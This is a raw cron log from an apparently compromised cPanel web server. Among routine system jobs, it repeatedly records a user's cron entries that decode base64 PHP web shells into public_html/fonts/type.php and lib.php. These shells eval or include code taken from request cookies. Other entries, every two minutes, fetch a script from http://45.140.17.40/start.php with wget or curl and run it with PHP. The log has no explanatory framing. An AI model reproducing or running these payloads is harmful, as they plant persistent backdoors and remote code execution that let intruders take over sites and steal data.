Sep  8 06:00:01 ip-184-168-122-23 CROND[24087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:01:01 ip-184-168-122-23 CROND[24227]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 06:01:01 ip-184-168-122-23 CROND[24229]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 06:01:01 ip-184-168-122-23 CROND[24228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:01:01 ip-184-168-122-23 CROND[24231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:01:01 ip-184-168-122-23 CROND[24232]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:01:01 ip-184-168-122-23 CROND[24233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24227]: starting 0anacron
Sep  8 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24249]: finished 0anacron
Sep  8 06:02:01 ip-184-168-122-23 CROND[24349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:02:01 ip-184-168-122-23 CROND[24350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:02:01 ip-184-168-122-23 CROND[24354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:02:01 ip-184-168-122-23 CROND[24352]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:02:01 ip-184-168-122-23 CROND[24355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:03:01 ip-184-168-122-23 CROND[24480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:03:01 ip-184-168-122-23 CROND[24483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:03:01 ip-184-168-122-23 CROND[24482]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:03:01 ip-184-168-122-23 CROND[24485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:04:01 ip-184-168-122-23 CROND[24593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:04:01 ip-184-168-122-23 CROND[24596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:04:01 ip-184-168-122-23 CROND[24595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:04:01 ip-184-168-122-23 CROND[24597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:04:01 ip-184-168-122-23 CROND[24598]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:05:01 ip-184-168-122-23 CROND[24717]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 06:05:01 ip-184-168-122-23 CROND[24718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:05:01 ip-184-168-122-23 CROND[24720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:05:01 ip-184-168-122-23 CROND[24719]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:05:01 ip-184-168-122-23 CROND[24724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:05:01 ip-184-168-122-23 CROND[24721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:05:01 ip-184-168-122-23 CROND[24722]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:06:01 ip-184-168-122-23 CROND[24921]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:06:01 ip-184-168-122-23 CROND[24922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:06:01 ip-184-168-122-23 CROND[24927]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:06:01 ip-184-168-122-23 CROND[24926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:06:01 ip-184-168-122-23 CROND[24925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:07:01 ip-184-168-122-23 CROND[25047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:07:01 ip-184-168-122-23 CROND[25051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:07:01 ip-184-168-122-23 CROND[25053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:07:01 ip-184-168-122-23 CROND[25055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:08:01 ip-184-168-122-23 CROND[25177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:08:01 ip-184-168-122-23 CROND[25179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:08:01 ip-184-168-122-23 CROND[25180]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:08:01 ip-184-168-122-23 CROND[25182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:08:01 ip-184-168-122-23 CROND[25181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:09:01 ip-184-168-122-23 CROND[25304]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 06:09:01 ip-184-168-122-23 CROND[25307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:09:01 ip-184-168-122-23 CROND[25306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:09:01 ip-184-168-122-23 CROND[25309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:09:01 ip-184-168-122-23 CROND[25308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:10:01 ip-184-168-122-23 CROND[25457]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 06:10:01 ip-184-168-122-23 CROND[25460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:10:01 ip-184-168-122-23 CROND[25461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:10:01 ip-184-168-122-23 CROND[25464]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:10:01 ip-184-168-122-23 CROND[25466]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:10:01 ip-184-168-122-23 CROND[25463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:10:01 ip-184-168-122-23 CROND[25471]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:10:01 ip-184-168-122-23 CROND[25472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:11:01 ip-184-168-122-23 CROND[25565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:11:01 ip-184-168-122-23 CROND[25569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:11:01 ip-184-168-122-23 CROND[25567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:11:01 ip-184-168-122-23 CROND[25568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:12:01 ip-184-168-122-23 CROND[25677]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:12:01 ip-184-168-122-23 CROND[25675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:12:01 ip-184-168-122-23 CROND[25676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:12:01 ip-184-168-122-23 CROND[25674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
